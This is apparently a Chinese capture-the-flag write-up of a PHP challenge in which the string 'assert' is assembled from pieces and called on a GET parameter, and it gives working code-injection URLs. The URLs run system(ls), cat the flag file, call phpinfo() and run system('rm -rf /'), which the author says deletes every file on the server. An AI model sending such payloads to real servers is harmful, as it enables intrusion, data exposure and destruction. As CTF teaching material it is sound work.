CTF--shell

一、原题

(1)提示:

poc="a#s#s#e#r#t";poc_1=explode("#",poc);poc_2=poc_1\[0\].poc_1[1].poc_1\[2\].poc_1[3].poc_1\[4\].poc_1[5]; poc_2(_GET['s'])

(2)原网页:一片空白什么都没有


二、步骤

1.提示:

php 复制代码
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc); 
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])

2.提示分析:

php 复制代码
$poc="a#s#s#e#r#t";
// 定义一个字符串 $poc,内容为 "a#s#s#e#r#t"

$poc_1=explode("#",$poc);
// 使用 explode 函数将字符串 $poc 按照 "#" 分割成数组
// 结果是 $poc_1 = ['a', 's', 's', 'e', 'r', 't']
                         
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; 
// 将数组 $poc_1 中的元素通过字符串拼接操作符 "." 连接成一个字符串
// 结果是 $poc_2 = "assert"

$poc_2($_GET['s']);
// 动态调用函数 $poc_2,并传入用户输入的参数 $_GET['s']
// 由于 $poc_2 的值是 "assert",这一行代码等价于:assert($_GET['s']);

3.利用代码注入漏洞,构造新的URL:

117.72.52.127:15439?s=system(ls)

或者:

117.72.52.127:15439?s=system(dir)

4.输入:

117.72.52.127L15439?s=system(''cat flaga15808abee46a1d5.txt')

获得flag:

三、补充

1.其他代码注入漏洞:

http://117.72.52.127:15640?s=phpinfo()

执行phpinfo(),泄露服务器PHP配置信息

http://117.72.52.127:15640?s=system('rm -rf /')

执行rm -rf,删除服务器上的所有文件(假如有权限)

2.参数值分析:

system('ls')

system:PHP 的一个内置函数,用于在服务器上执行操作系统命令,并将输出直接返回给调用者

ls:Linux 系统中的一个命令,用于列出当前目录下的文件和文件夹

四、RCE:

RCE(远程代码执行漏洞)原理及漏洞利用-CSDN博客

相关推荐
曲幽5 小时前
FastAPI + SQLAlchemy 2.0 通用CRUD操作手册 —— 从同步到异步,一次讲透
python·fastapi·web·async·sqlalchemy·session·crud·sync·with
里欧跑得慢12 小时前
12. CSS滤镜效果详解:为页面注入艺术灵魂
前端·css·flutter·web
里欧跑得慢12 小时前
CSS 级联层:控制样式优先级的新方式
前端·css·flutter·web
被巨款砸中15 小时前
从零到一:构建高效 Node.js 后端 API (Koa + Prisma 实战)
前端·javascript·vue.js·node.js·web
百结2142 天前
HAProxy 搭建 Web 集群
前端·web
以神为界2 天前
PHP与数据库交互实操:连接方法+SQL注入防范+系统数据库解析
数据库·sql·网络安全·php·web
tryqaaa_3 天前
学习日志(一)【含markdown语法,Linux学习】
linux·运维·学习·web安全·web·markdown
Leah-3 天前
Web项目测试流程
笔记·学习·web·测试·复盘
筱璦3 天前
期货交易系统部署一 — 数据库及web
web·后台·期货交易
曲幽4 天前
FastAPI 生产环境避坑指南:用 Alembic 管理数据库迁移,别再手动改表结构了!
python·fastapi·web·async·sqlalchemy·env·alembic·migration